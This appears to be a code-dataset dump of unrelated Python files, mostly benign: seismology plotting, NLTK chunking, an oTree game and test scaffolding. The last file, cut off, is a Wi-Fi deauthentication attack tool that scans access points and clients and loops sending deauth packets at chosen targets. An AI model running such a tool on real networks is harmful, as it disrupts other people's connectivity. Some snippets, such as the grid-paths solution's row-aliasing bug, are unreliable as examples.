dict(zip([s.nsl() for s in stations], stations))\n \n results = {}\n for p in picks:\n one_id = p.one_nslc()[:3]\n phasename = p.get_phasename()\n if stations is not None and one_id not in stations_ids:\n continue\n else:\n subresults = results.get(one_id, {})\n residuals = subresults.get(phasename, [])\n if interest==\"depth\":\n data_want = p.get_event().depth\n elif interest==\"distance\":\n data_want = orthodrome.distance_accurate50m(p.get_event(),\n stations[one_id])\n residuals.append((data_want, p.residual))\n subresults[phasename] = residuals\n results[one_id] = subresults\n\n return results\n\ndef plot_interrelations(results, median=None, title=None, fn=None):\n num_subplots = has_data(results)\n num_rows = int(math.ceil(num.sqrt(num_subplots)))\n fig, axs = get_fig_axs(num_subplots=num_subplots)\n count = 0\n color_map = {}\n for nslc_id, res_p_s in results.items():\n ax = axs[count%num_rows][int(count/num_rows)]\n for phasename, res in res_p_s.items():\n y, x = zip(*res)\n c = color_map.get(phasename, False)\n if not c:\n c = colors[len(color_map)] \n color_map[phasename] = c\n\n ax.plot(x, y, 'o', c=c, label=phasename)\n if median:\n ax.axvline(median[nslc_id][phasename],\n c=c)\n ax.text(0.99,0.99, \".\".join(nslc_id), transform=ax.transAxes,\n horizontalalignment=\"right\", \n verticalalignment=\"top\")\n ax.set_xlabel(\"residual [s]\")\n ax.set_ylabel(\"source depth [m]\")\n count += 1\n ax.legend()\n fig.tight_layout()\n fig.subplots_adjust(bottom=0.05, top=0.95, right=0.95, left=0.05, wspace=0.2,\n hspace=0.2)\n \n if title:\n fig.suptitle(title)\n\n if fn:\n fig.savefig(fn)\n \n\n\nif __name__==\"__main__\":\n \n phasemapping = {\"P\": [\"p\", \"P\"],\n \"S\": [\"s\", \"S\"],\n \"SH\":[\"s\", \"S\"],\n \"SV\":[\"s\", \"S\"] }\n #phasemapping = {\"P\": [\"rapidinv_p\"],\n # \"S\":[\"rapidinv_s\"],\n # \"SH\":[\"rapidinv_s\"],\n # \"SV\":[\"rapidinv_s\"] }\n pick_fn = '/data/webnet/catalog/intern/Oct2008.bul'\n #pick_fn = '/data/webnet/catalog/intern/March2013.bul'\n #pick_fn = '/data/webnet/catalog/intern/test.bul'\n stations_fn = '/data/webnet/meta/stations.pf'\n #store_id = 'vogtland_malek2004_tab1M_vpvs168'\n store_id = 'vogtland_malek2004_alexandrakis_highsttt'\n\n picks, events = read_data(pick_fn)\n\n picks = filter(lambda p: p.get_event().lon<12.5 and p.get_event().lon>12.1 and \n p.get_event().lat<50.27 and p.get_event().lat>50.13, picks)\n stations = model.load_stations(stations_fn)\n engine = LocalEngine(use_config=True)\n store = engine.get_store(store_id)\n mod = store.config.earthmodel_1d\n store_estimator = GFStoreResiduals(store=store,\n phasemapping=phasemapping,\n outlier_threshold=2.5)\n\n cake_estimator = CakeResiduals(model=mod,\n phasemapping=phasemapping,\n outlier_threshold=2.5)\n\n #want_stations = ['NKC', 'LBC']\n #picks = filter(lambda x:any([s in x.one_nslc() for s in want_stations]), picks)\n for estimator in [cake_estimator, store_estimator]:\n #for estimator in [store_estimator]:\n map(lambda x: x.set_residual_estimator(estimator), picks)\n set_residuals(picks, stations)\n results = sort_resdiduals(picks)\n med_residuals = median_residuals(results, save=\"residuals_median_%s.dat\"%estimator)\n residual_hist(results, title=estimator, fn='residuals_%s.pdf'%estimator)\n results = interrelation(picks, interest=\"depth\")\n plot_interrelations(results,\n median=med_residuals,\n title=estimator,\n fn=\"depth_vs_residual_%s.pdf\"%estimator)\n\n plt.show()\n","sub_path":"pick_residuals.py","file_name":"pick_residuals.py","file_ext":"py","file_size_in_byte":12949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"407632656","text":"\"\"\"InterviewBit.\n\nProgramming > Math > Grid Unique Paths\n\"\"\"\n\n\nclass Solution:\n \"\"\"Solution.\"\"\"\n\n # @param A : integer\n # @param B : integer\n # @return an integer\n def uniquePaths(self, A, B):\n \"\"\"Solution.\"\"\"\n grid = [[1] * B] * A\n for i in range(1, A):\n for j in range(1, B):\n grid[i][j] = grid[i][j-1] + grid[i-1][j]\n return grid[A-1][B-1]\n\n\ninputs = [\n [1, 1],\n [1, 10],\n [10, 1],\n [2, 2],\n [3, 3],\n [5, 5],\n [10, 5],\n [15, 9]\n]\n\nsolution = Solution()\nfor i in inputs:\n print(\"Input:\", i)\n print(\"Solution:\", solution.uniquePaths(*i), '\\n')\n","sub_path":"interviewbit/Programming/Math/Grid Unique Paths/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"89776605","text":"import nltk\nfrom nltk.corpus import state_union\nfrom nltk.tokenize import PunktSentenceTokenizer\n\ntext_file = state_union.raw('2005-GWBush.txt')\n\n\ndef applyChunking(corpus):\n\n tokenized = PunktSentenceTokenizer().tokenize(corpus)\n\n try:\n for sent in tokenized:\n words = nltk.word_tokenize(sent)\n tagged = nltk.pos_tag(words)\n\n chunkGram = '''Chunk: {<.*>+}\n }+{'''\n chunkParser = nltk.RegexpParser(chunkGram)\n chunked = chunkParser.parse(tagged)\n\n print(chunked.draw())\n\n except Exception as e:\n print(str(e))\n\napplyChunking(text_file)\n","sub_path":"Learning/chinking.py","file_name":"chinking.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"72103067","text":"import json\nimport subprocess\nimport sys\nsubprocess.check_call([sys.executable, '-m', 'pip', 'install', 'tensorflow==2.1.0'])\nsubprocess.check_call([sys.executable, '-m', 'pip', 'install', 'transformers==2.8.0'])\nimport tensorflow as tf\nfrom transformers import DistilBertTokenizer\n\nclasses=[1, 2, 3, 4, 5]\n\nmax_seq_length=64\n\ntokenizer = DistilBertTokenizer.from_pretrained('distilbert-base-uncased')\n\ndef input_handler(data, context):\n transformed_instances = []\n\n print('DATA {}'.format(data))\n\n for instance in data:\n data_str = instance.decode('utf-8')\n print('DATA_STR {}'.format(data_str))\n \n tokens = tokenizer.tokenize(data_str)\n print('TOKENS {}'.format(tokens))\n\n encode_plus_tokens = tokenizer.encode_plus(data_str,\n pad_to_max_length=True,\n max_length=max_seq_length)\n\n # Convert the text-based tokens to ids from the pre-trained BERT vocabulary\n input_ids = encode_plus_tokens['input_ids']\n # Specifies which tokens BERT should pay attention to (0 or 1)\n input_mask = encode_plus_tokens['attention_mask']\n # Segment Ids are always 0 for single-sequence tasks (or 1 if two-sequence tasks)\n segment_ids = [0] * max_seq_length\n \n transformed_instance = { \n \"input_ids\": input_ids, \n \"input_mask\": input_mask, \n \"segment_ids\": segment_ids\n }\n \n transformed_instances.append(transformed_instance)\n\n transformed_data = {\"instances\": transformed_instances}\n print('transformed_data {}'.format(transformed_data))\n\n return json.dumps(transformed_data)\n\n\ndef output_handler(response, context):\n response_json = response.json()\n\n log_probabilities = response_json[\"predictions\"]\n\n predicted_classes = []\n for log_probability in log_probabilities:\n predicted_class = 1\n# softmax = tf.nn.softmax(log_probability) \n# predicted_class_idx = tf.argmax(softmax, axis=-1, output_type=tf.int32)\n# predicted_class = classes[predicted_class_idx]\n predicted_classes.append(predicted_class)\n \n predicted_classes_json = json.dumps(predicted_classes) \n \n response_content_type = context.accept_header\n\n return predicted_classes_json, response_content_type\n\n","sub_path":"10_pipeline/wip/src_random/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"588155656","text":"import numpy as np\nimport h5py\n\n\ndef load_data():\n\n train_dataset = h5py.File('data/train_dog.h5', \"r\")\n train_tensors = np.array(train_dataset[\"train_set_x\"][:]) # train set features\n train_targets = np.array(train_dataset[\"train_set_y\"][:]) # train set labels\n\n valid_dataset = h5py.File('data/valid_dog.h5', \"r\")\n valid_tensors = np.array(valid_dataset[\"valid_set_x\"][:]) # validation set features\n valid_targets = np.array(valid_dataset[\"valid_set_y\"][:]) # validation set labels\n\n test_dataset = h5py.File('data/test_dog.h5', \"r\")\n test_tensors = np.array(test_dataset[\"test_set_x\"][:]) # test set features\n test_targets = np.array(test_dataset[\"test_set_y\"][:]) # test set labels\n\n return train_tensors, train_targets, valid_tensors, valid_targets, test_tensors, test_targets\n\n","sub_path":"project_3 cnn_dog_breed_classifier/dog_utils.py","file_name":"dog_utils.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"426872832","text":"from otree.api import (\r\n models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer,\r\n Currency as c, currency_range\r\n)\r\n\r\nauthor = 'jrm'\r\n\r\ndoc = \"\"\"\r\nPGG 0 - Basic public goods game\r\n\"\"\"\r\n\r\n\r\nclass Constants(BaseConstants):\r\n name_in_url = 'PGG0'\r\n players_per_group = 4\r\n num_rounds = 2\r\n num_rounds_range = range(num_rounds)\r\n\r\n endowment = c(20)\r\n multiplier = 2\r\n\r\n\r\nclass Subsession(BaseSubsession):\r\n pass\r\n\r\n\r\n\r\n\r\n\r\nclass Group(BaseGroup):\r\n total_contribution = models.IntegerField()\r\n total_payoff = models.IntegerField()\r\n\r\n def public_good_per_player(self):\r\n all_contrib = 0\r\n for p in self.get_players():\r\n all_contrib += p.contribution\r\n return (1 / Constants.players_per_group) * Constants.multiplier * all_contrib\r\n\r\n def calculate_total_contribution(self):\r\n all_contrib = 0\r\n for p in self.get_players():\r\n all_contrib += p.contribution\r\n self.total_contribution = all_contrib\r\n\r\n\r\nclass Player(BasePlayer):\r\n contribution = models.IntegerField(\r\n min=0, max=Constants.endowment,\r\n doc=\"\"\"The amount contributed by the player\"\"\",\r\n )\r\n\r\n def in_all_rounds_full_range(self):\r\n empty_list_tail = [None] * (Constants.num_rounds - len(self.in_all_rounds()))\r\n return self.in_all_rounds() + empty_list_tail\r\n\r\n def calculate_payoff(self):\r\n self.payoff = Constants.endowment - self.contribution \\\r\n + self.group.public_good_per_player()\r\n","sub_path":"PGG_Base/PGG0/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"499176580","text":"# !usr/bin/env python2\n# -*- coding: utf-8 -*-\n#\n# Licensed under a 3-clause BSD license.\n#\n# @Author: Brian Cherinka\n# @Date: 2017-02-12 17:38:51\n# @Last modified by: Brian Cherinka\n# @Last Modified time: 2017-03-25 16:08:37\n\nfrom __future__ import print_function, division, absolute_import\nfrom flask_testing import TestCase\nfrom marvin.web import create_app\nfrom marvin import config, marvindb\nfrom marvin.tests import MarvinTest\n\n\nclass MarvinWebTester(MarvinTest, TestCase):\n ''' Base Marvin Web Tester for Flask and API '''\n\n def create_app(self):\n app = create_app(debug=True, local=True, use_profiler=False)\n app.config['TESTING'] = True\n app.config['WTF_CSRF_ENABLED'] = False\n app.config['PRESERVE_CONTEXT_ON_EXCEPTION'] = False\n return app\n\n @classmethod\n def setUpClass(cls):\n super(MarvinWebTester, cls).setUpClass()\n\n def setUp(self):\n marvindb = self._marvindb\n self.session = marvindb.session\n self.long_message = True\n self.response = None\n self.data = None\n self.json = None\n self.set_sasurl('local')\n config.forceDbOn()\n self.urlmap = config.urlmap\n self.blue = None\n\n def tearDown(self):\n pass\n\n def _load_page(self, reqtype, page, params=None):\n if reqtype == 'get':\n self.response = self.client.get(page, query_string=params)\n elif reqtype == 'post':\n self.response = self.client.post(page, data=params, content_type='application/x-www-form-urlencoded')\n self._load_data()\n\n def _load_data(self):\n try:\n self.json = self.response.json\n except ValueError as e:\n self.json = None\n self.data = self.json['data'] if self.json and 'data' in self.json else ''\n\n def get_url(self, endpoint):\n return self.urlmap[self.blue][endpoint]['url']\n\n def assert422(self, response, message=None):\n self.assertStatus(response, 422, message)\n\n def assertListIn(self, a, b):\n ''' assert all items in list a are in b '''\n for item in a:\n self.assertIn(item, b)\n\n def _assert_webjson_success(self, data):\n self.assert200(self.response, message='response status should be 200 for ok')\n if isinstance(data, str):\n self.assertIn(data, self.json['result'])\n elif isinstance(data, dict):\n self.assertEqual(1, self.json['result']['status'])\n self.assertDictContainsSubset(data, self.json['result'])\n elif isinstance(data, list):\n self.assertListIn(data, self.json['result'])\n\n def _route_no_valid_webparams(self, url, noparam, reqtype='get', params=None, errmsg=None):\n self._load_page(reqtype, url, params=params)\n self.assert422(self.response, message='response status should be 422 for invalid params')\n self.assert_template_used('errors/unprocessable_entity.html')\n noparam = [noparam] if not isinstance(noparam, list) else noparam\n invalid = {p: [errmsg] for p in noparam}\n self.assert_context('data', invalid, message='response should contain validation error dictionary')\n\n def test_db_stuff(self):\n self.assertIsNotNone(marvindb)\n self.assertIsNotNone(marvindb.datadb)\n self.assertIsNotNone(marvindb.sampledb)\n self.assertIsNotNone(marvindb.dapdb)\n self.assertEqual('local', marvindb.dbtype)\n\n # def assert_template_used(self, name):\n # ''' overriding the built-in one in Flask-Testing so we can also test against error templates '''\n # template_list = self.app.jinja_env.list_templates()\n # if name in template_list:\n # return True\n # else:\n # raise AssertionError(\"Template {0} not used. Templates were used: {1}\".format(name, ', '.join(template_list)))\n\n","sub_path":"python/marvin/tests/web/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"424447538","text":"from backend.ssh_core import SSHHandler\n\n\nclass ArgHandler(object):\n\t\"\"\"\n\t\tjump server 的交互程序下\n\t\t用户操作命令解析\n\t\"\"\"\n\thelp_text = \"\"\"\n\t===================jump server=================\n\t-run --启动jump server交互程序\n\t===============================================\n\t\"\"\"\n\n\tdef __init__(self, arg):\n\t\tself.arg = arg\n\n\tdef call(self):\n\t\t\"\"\"\n\t\t\t解析参数并执行相应擦欧总\n\t\t:return:\n\t\t\"\"\"\n\t\tif len(self.arg) == 1:\n\t\t\tself.notify(self.help_text)\n\t\tif self.arg[1][0] == \"-\":\n\t\t\tlength = len(self.arg[1])\n\t\t\tself.arg[1] = self.arg[1][1:length]\n\t\tif hasattr(self, self.arg[1]) and self.arg[1] not in [\"notify\", \"call\", \"__init__\"]:\n\t\t\tgetattr(self, self.arg[1])()\n\t\telse:\n\t\t\tself.notify(\"指令错误!!!\")\n\n\tdef notify(self, erroe_msg):\n\t\texit(erroe_msg)\n\n\tdef run(self):\n\t\t\"启动jump server交互程序\"\n\t\tprint(\"==============jump server交互接口启动=================\")\n\t\tSSHHandler(self).interactive()\n","sub_path":"backend/dispatch.py","file_name":"dispatch.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"283047348","text":"co = 0\nstring = \"navgurukul\"\nwhile (co < len(string)):\n\tif string[co] == \"g\":\n\t\tbreak\n\tprint (string[co])\n\tco+=1\nprint (\"Tha end\",string[co])\n\n\nvar = 10\n# while var > 0:\n# \tprint var\n# \tvar-=1\n# \t# if var == 5:\n# \t# \tbreak\n# print \"good bye\"\n\n\n# i = 0\n# while(i<5):\n# \tj=0\n# \twhile(j<5):\n# \t\tif (j>3):\n# \t\t\tbreak\n# \t\telse:\n# \t\t\tprint \"*\",\n# \t\tj = j+1\n# \tprint ' '\n# \ti+=1\n\n\n# a = 0\n# while (a<6):\n# \tb = 0\n# \twhile(b<6):\n# \t\tif (a==b):\n# \t\t\tbreak\n# \t\tprint 'Y',\n# \t\tb+=1\n# \tprint ' '\n# \ta+=1\n\n\n# a = 6\n# while a > 0:\n# \tprint \"Y \" * a\n# \ta-=1\n\n# var = 0\n# while var <= 5:\n# \tif 0 == var or 5 == var:\n# \t\tprint \"* * * * * * * * * *\"\n# \telse:\n# \t\tprint \"* *\"\n# \tvar+=1\n\n# v = 0\n# while v < 1:\n# \tprint \"Y Y\"\n# \tprint \" Y Y \"\n# \tprint \" Y Y \"\n# \tprint \" Y Y \"\n# \tprint \" Y \"\n# \tprint \" Y\"\n# \tprint \" Y\"\n# \tprint \" Y\"\n\n# \tv+=1\n\n\n\n# counter = 0\n# string = \"navgurukul\"\n# while (counter < len(string)):\n \n\n# if string[counter] == \"a\":\n# continue\n\n# if string[counter] == \"u\":\n# continue\n \n# print(string[counter])\n# counter+=1\n\n# print(\"The end\", string[counter])\n\n\n","sub_path":"Whileloop/Break1whileloop.py","file_name":"Break1whileloop.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"417024617","text":"import os\r\nimport csv\r\n\r\nimport torch.optim as optim\r\nimport torch.nn as nn\r\n\r\nfrom datasets.dataset_predefined import cifar10,mscoco\r\nfrom datasets.custom1 import *\r\n\r\nfrom models import *\r\n\r\nfrom evaluate import *\r\n\r\n\r\n################################################\r\ndef read_config(config_fname):\r\n configs = []\r\n with open('../exp_configs/%s'%config_fname) as config_file:\r\n reader = csv.DictReader(config_file)\r\n keys = reader.fieldnames\r\n for r in reader:\r\n r[keys[0]] = int(r[keys[0]]) # case_num\r\n r[keys[3]] = int(r[keys[3]]) # batch_size\r\n r[keys[4]] = int(r[keys[4]]) # max_epoch\r\n r[keys[6]] = float(r[keys[6]]) # learning_rate\r\n r[keys[7]] = int(r[keys[7]]) # lr_step\r\n r[keys[8]] = float(r[keys[8]]) # lr_gamma\r\n r[keys[9]] = float(r[keys[9]]) # l2_decay\r\n r[keys[11]] = bool(r[keys[11]]) # use_tensorboard\r\n configs.append(r)\r\n\r\n return configs\r\n\r\n\r\n################################################\r\ndef select_model(model_name):\r\n if model_name == 'vgg13':\r\n model = vgg(13)\r\n elif model_name == 'vgg16':\r\n model = vgg(16)\r\n elif model_name == 'resnet18':\r\n model = resnet(18)\r\n elif model_name == 'resnet34':\r\n model = resnet(34)\r\n elif model_name == 'senet18':\r\n model = senet(18)\r\n elif model_name == 'densenet':\r\n model = densenet(121)\r\n elif model_name == 'mymodel1':\r\n model = mymodel1()\r\n else:\r\n raise(ValueError('No such model'))\r\n \r\n return model\r\n\r\n\r\n################################################\r\nCIFAR10_ROOT_DIR = '../../data/cifar10'\r\nMSCOCO_ROOT_DIR = ''\r\nMSCOCO_ANNOT_PATH = ''\r\nCUSTOM_ROOT_DIR = ''\r\n\r\ndef select_dataset(dataset_name, dataset_type):\r\n if dataset_name == 'cifar10':\r\n dataset = cifar10(CIFAR10_ROOT_DIR,dataset_type,False)\r\n elif dataset_name == 'mscoco':\r\n dataset = mscoco(MSCOCO_ROOT_DIR,MSCOCO_ANNOT_PATH,dataset_type)\r\n elif dataset_name == 'custom1':\r\n dataset = custom1(CUSTOM_ROOT_DIR,dataset_type)\r\n else:\r\n raise(ValueError('No such dataset'))\r\n \r\n return dataset\r\n\r\n\r\n################################################\r\ndef select_optimizer(optimizer_name, what_to_optim, learning_rate, l2_decay):\r\n if optimizer_name == 'adam':\r\n optimizer = optim.Adam(what_to_optim, lr=learning_rate, weight_decay=l2_decay)\r\n elif optimizer_name == 'sgd':\r\n optimizer = optim.SGD(what_to_optim, lr=learning_rate, weight_decay=l2_decay)\r\n elif optimizer_name == 'custom1':\r\n optimizer = optim.RMSprop(what_to_optim, lr=learning_rate, weight_decay=l2_decay)\r\n else:\r\n raise(ValueError('No such optimizer'))\r\n \r\n return optimizer\r\n\r\n\r\n################################################\r\ndef select_loss(loss_name):\r\n if loss_name == 'mse':\r\n loss_fn = nn.MSELoss()\r\n elif loss_name == 'l1':\r\n loss_fn = nn.L1Loss()\r\n elif loss_name == 'cross_entropy':\r\n loss_fn = nn.CrossEntropyLoss()\r\n else:\r\n raise(ValueError('No such loss function'))\r\n \r\n return loss_fn\r\n\r\n\r\n################################################\r\nif __name__=='__main__':\r\n exp_config = read_config('temp.csv')\r\n print(exp_config[0])","sub_path":"code/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":3304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"370156402","text":"import logging\n# Tell scapy to shutup\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nimport os\nimport subprocess\nimport requests\n\nfrom operator import attrgetter\nfrom scapy.all import *\nfrom sys import exit\n# Scapy we asked you to shutup\nconf.verb = 0\n\nclass AccessPoint:\n\tdef __init__(self, bssid, ssid, channel, iden):\n\t\tself.bssid = bssid\n\t\tself.ssid = ssid\n\t\tself.channel = channel\n\t\tself.iden = iden\n\nclass Client_object:\n\tdef __init__(self, c_iden, client_bssid, selected_ap, channel, selected_ap_ssid, client_vendor):\n\t\tself.c_iden = c_iden\n\t\tself.bssid = client_bssid\n\t\tself.acces_point_bssid = selected_ap\n\t\tself.channel = channel\n\t\tself.acces_point_ssid = selected_ap_ssid\n\t\tself.deauth = False\n\t\tself.client_vendor = client_vendor\n\nclass Network_interface:\n\tdef __init__(self, iden, interface_name):\n\t\tself.iden = iden\n\t\tself.interface_name = interface_name\n\n\ndef check_vendor(mac):\n\turl = \"https://macvendors.co/api/{}\".format(mac)\n\ttry:\n\t\tr = requests.get(url)\n\t\tresult = r.json()\n\t\tclient_vendor = result['result']['company']\n\texcept:\n\t\tclient_vendor = 'Unknown'\n\treturn client_vendor\n\ndef Interface_Choice():\n\tglobal interface\n\tglobal original_interface\n\tClearScreen()\n\tprint('#####')\n\tprint('Avalaible Interface:')\n\tprint('#####\\n')\n\tiden = 1\n\tfor entry in os.listdir('/sys/class/net/'):\n\t\tif 'mon' in entry:\n\t\t\tsubprocess.check_output(['airmon-ng', 'stop', entry])\n\n\tfor entry in os.listdir('/sys/class/net'):\n\t\tif entry != 'lo':\n\t\t\tinterface_name = entry\n\t\t\tinterface_list[entry] = Network_interface(iden, interface_name)\t\n\t\t\tiden +=1\n\tinterfaces_list_sorted = sorted(interface_list.values(), key=attrgetter(\"iden\"))\n\tprint('\\t ID | Interface Name')\n\tprint('\\t-------------------------')\n\tfor entry in interfaces_list_sorted:\n\t\tprint('\\t {} | {}'.format(entry.iden, entry.interface_name))\n\n\ttry:\n\t\tchoosed_interface = input('\\nInterface to put in monitor mod: ')\n\t\tfor entry in interface_list:\n\t\t\tinterface = interface_list[entry]\n\t\t\tif int(choosed_interface) == int(interface.iden):\n\t\t\t\toriginal_interface = interface.interface_name\n\t\t\t\tinterface = interface.interface_name\n\t\t\t\tbreak\n\texcept TypeError:\n\t\tprint('\\n[!]Incorrect selection, please input the interface ID...')\n\t\ttime.sleep(3)\n\t\tInterface_Choice()\n\t\t\n\texcept ValueError:\n\t\tprint('\\n[!]Incorrect selection, please input the interface ID...')\n\t\ttime.sleep(3)\n\t\tInterface_Choice()\n\n\tif 'mon' in interface:\n\t\tprint('\\n [+] {} allready in monitor mod, getting ready to scan ...'.format(interface))\n\t\ttime.sleep(2)\n\telse:\n\t\tcommand = subprocess.call(['ifconfig', interface, 'down'])\n\t\tif command != 0:\n\t\t\tsubprocess.call(['ip', 'set', 'dev', interface, 'down'])\n\n\t\tsubprocess.call(['iwconfig', interface, 'mode', 'mon'])\n\t\ttime.sleep(2)\n\n\t\tcommand = subprocess.call(['ip', 'link', 'set', 'dev', interface, 'up'])\n\t\tif command != 0:\n\t\t\tsubprocess.call(['ifconfig', interface, 'up'])\n\n\t\tClearScreen()\n\t\tconf.iface = interface\n\ndef Scan_For_AP():\n\tglobal ap_list\n\tglobal interface\n\tglobal channel\n\tClearScreen()\n\tprint('\\n[+] Scanning for access points...\\n')\n\tfor channel in channels:\n\t\tos.system('iw dev {} set channel {}'.format(interface, channel))\n\t\tsniff(iface=conf.iface, prn=ApHandler, count=10, timeout=3, store=0)\n\tShow_Avaible_AP()\n\ndef Show_Avaible_AP():\n\tglobal ap_list\n\tClearScreen()\n\tif len(ap_list) > 0:\n\t\tprint('#######')\n\t\tprint('Acces Point found:')\n\t\tprint('#######\\n')\n\t\tprint('\\tID | AP BSSID | AP SSID ')\n\t\tprint('\\t---------------------------------------------------------------')\n\t\tap_list_sorted = sorted(ap_list.values(), key=attrgetter(\"iden\"))\n\t\tfor ap in ap_list_sorted:\n\t\t\tif ap.iden >= 10:\n\t\t\t\tprint('\\t{} | {} | {}'.format(ap.iden, ap.bssid, ap.ssid))\n\t\t\telse:\n\t\t\t\tprint('\\t{} | {} | {}'.format(ap.iden, ap.bssid, ap.ssid))\n\n\t\tSelect_AP_Target()\n\n\telse:\n\t\tprint('#######')\n\t\tretry = input('No Access Point found, retry ? (y/n): ')\n\t\tif retry.lower() == 'y':\n\t\t\tScan_For_AP()\n\t\telse:\n\t\t\texit_script()\n\n\t\tprint('#######\\n')\n\t\texit_script()\n\ndef Select_AP_Target():\n\tglobal AP_Target\n\tglobal selected_ap\n\tAP_Target = input('\\n[*] Please enter the ID of the AP to attack (r for retry): ')\n\tif AP_Target == 'r':\n\t\tScan_For_AP()\n\telse:\t\n\t\tfor ap in ap_list:\n\t\t\t\tselected_ap = ap_list[ap]\n\t\t\t\ttry:\n\t\t\t\t\tif int(selected_ap.iden) == int(AP_Target):\n\t\t\t\t\t\tbreak\n\t\t\t\texcept ValueError:\n\t\t\t\t\tprint('\\n[!] Incorrect input, enter the ID number of the access point !')\n\t\t\t\t\ttime.sleep(3)\n\t\t\t\t\tShow_Avaible_AP()\n\t\tScan_For_Clients()\n\n\ndef Scan_For_Clients():\n\tglobal selected_ap\n\ti = 0\n\tClearScreen()\n\tprint('\\n[+] Scanning for active clients on {} ...\\n'.format(selected_ap.ssid))\n\twhile i < 10:\n\t\tsniff(iface=conf.iface, prn=ClientHandler, count=10, timeout=3, store=0)\n\t\ti += 1\n\tShow_Avalaible_Clients()\n\ndef Show_Avalaible_Clients():\n\tglobal clients_list\n\tglobal selected_ap\n\tglobal deauth_all\n\n\tClearScreen()\n\tif len(clients_list) > 0:\n\t\tprint('#######')\n\t\tprint('Clients found for {}:'.format(selected_ap.ssid))\n\t\tprint('#######\\n')\n\t\tprint('\\tID | Clients | AP BSSID | AP SSID | Clients Vendors ')\n\t\tprint('\\t-------------------------------------------------------------------------------------')\n\t\tclients_list_sorted = sorted(clients_list.values(), key=attrgetter(\"c_iden\"))\n\t\tfor client in clients_list_sorted:\n\t\t\tif client.c_iden >= 10:\n\t\t\t\tprint('\\t{} | {} | {} | {} | {}'.format(client.c_iden, client.bssid, client.acces_point_bssid, client.acces_point_ssid, client.client_vendor))\n\t\t\telse:\n\t\t\t\tprint('\\t{} | {} | {} | {} | {}'.format(client.c_iden, client.bssid, client.acces_point_bssid, client.acces_point_ssid, client.client_vendor))\n\t\tprint('\\n')\n\t\tSelect_Clients_Target()\n\telse:\n\t\tprint('#######')\n\t\tprint(\"\"\"\\n[!] No active clients found for {}, what should we do ?:\n\t\t[r] Try to find clients again\n\t\t[a] Deauth all clients (will disconnect idle devices)\n\t\t[c] Change access point target\n\t\t[q] Quit the script \n\t\t\t\"\"\".format(selected_ap.ssid))\n\n\t\tchoice = input(\"\\tChoice: \")\n\t\tprint('#######\\n')\n\t\tif choice.lower() == 'r':\n\t\t\tScan_For_Clients()\n\t\telif choice.lower() == 'a':\n\t\t\tdeauth_all = True\n\t\t\tDeauth_Targets()\n\t\telif choice.lower() == 'c':\n\t\t\tReset()\n\t\t\tScan_For_AP()\n\t\telif choice.lower() == 'q':\n\t\t\texit_script()\t\t\t\n\t\telse:\n\t\t\tShow_Avalaible_Clients()\ndef Select_Clients_Target():\n\tglobal client_Targets\n\tglobal clients_list\n\tglobal deauth_all\n\tdeauth_all = False\n\n\ttry:\n\t\tclient_selection = input('\\n[*] Please enter the ID of the clients to attack (comma separated, 0 for all, r for retry): ')\n\t\tif ',' in client_selection:\n\t\t\tclient_selection = client_selection.split(',')\n\t\t\tfor selected in client_selection:\n\t\t\t\tfor client in clients_list:\n\t\t\t\t\tclient = clients_list[client]\n\t\t\t\t\tif int(selected) == int(client.c_iden):\n\t\t\t\t\t\tclient.deauth = True\t\t\t\n\t\telif client_selection == 'r':\n\t\t\tClearScreen()\n\t\t\tScan_For_Clients()\n\t\telif int(client_selection) == 0:\n\t\t\tdeauth_all = True\n\t\telif int(client_selection) < 0:\n\t\t\traise ValueError\n\t\telif int(client_selection) > len(clients_list):\n\t\t\traise ValueError\n\t\telse:\n\t\t\tfor client in clients_list:\n\t\t\t\tclient = clients_list[client]\n\t\t\t\tif int(client_selection) == int(client.c_iden):\n\t\t\t\t\tclient.deauth = True\n\texcept ValueError:\n\t\tprint('\\n[!] Incorrect input, enter the ID(s) number(s) of the client(s) !')\n\t\ttime.sleep(3)\n\t\tShow_Avalaible_Clients()\n\texcept TypeError:\n\t\tprint('\\n[!] Incorrect input, enter the ID(s) number(s) of the client(s) !')\n\t\ttime.sleep(3)\n\t\tShow_Avalaible_Clients()\n\texcept KeyboardInterrupt:\n\t\tMenu()\n\n\tDeauth_Targets()\n\n\ndef Deauth_Targets():\n\tglobal selected_ap\n\tglobal clients_list\n\tglobal deauth_all\n\tglobal attack_length\n\n\tattack_length = input('\\n [|] How many Deauth packets should we send ? (0 for infinite): ')\n\ttry:\n\t\tif attack_length == '0':\n\t\t\tsent = 0\n\t\t\tif deauth_all == True:\n\t\t\t\twhile True:\n\t\t\t\t\tClearScreen()\n\t\t\t\t\tprint('[+] {} packets sent'.format(sent))\n\t\t\t\t\tprint('[|] CTRL + C to stop the attack')\n\n\t\t\t\t\tsent += 1\n\t\t\t\t\tnuke_all()\n\t\t\telse:\n\t\t\t\twhile True:\n\t\t\t\t\tClearScreen()\n\t\t\t\t\tprint('[+] {} packets sent'.format(sent))\n\t\t\t\t\tprint('[|] CTRL + C to stop the attack')\n\n\t\t\t\t\tsent += 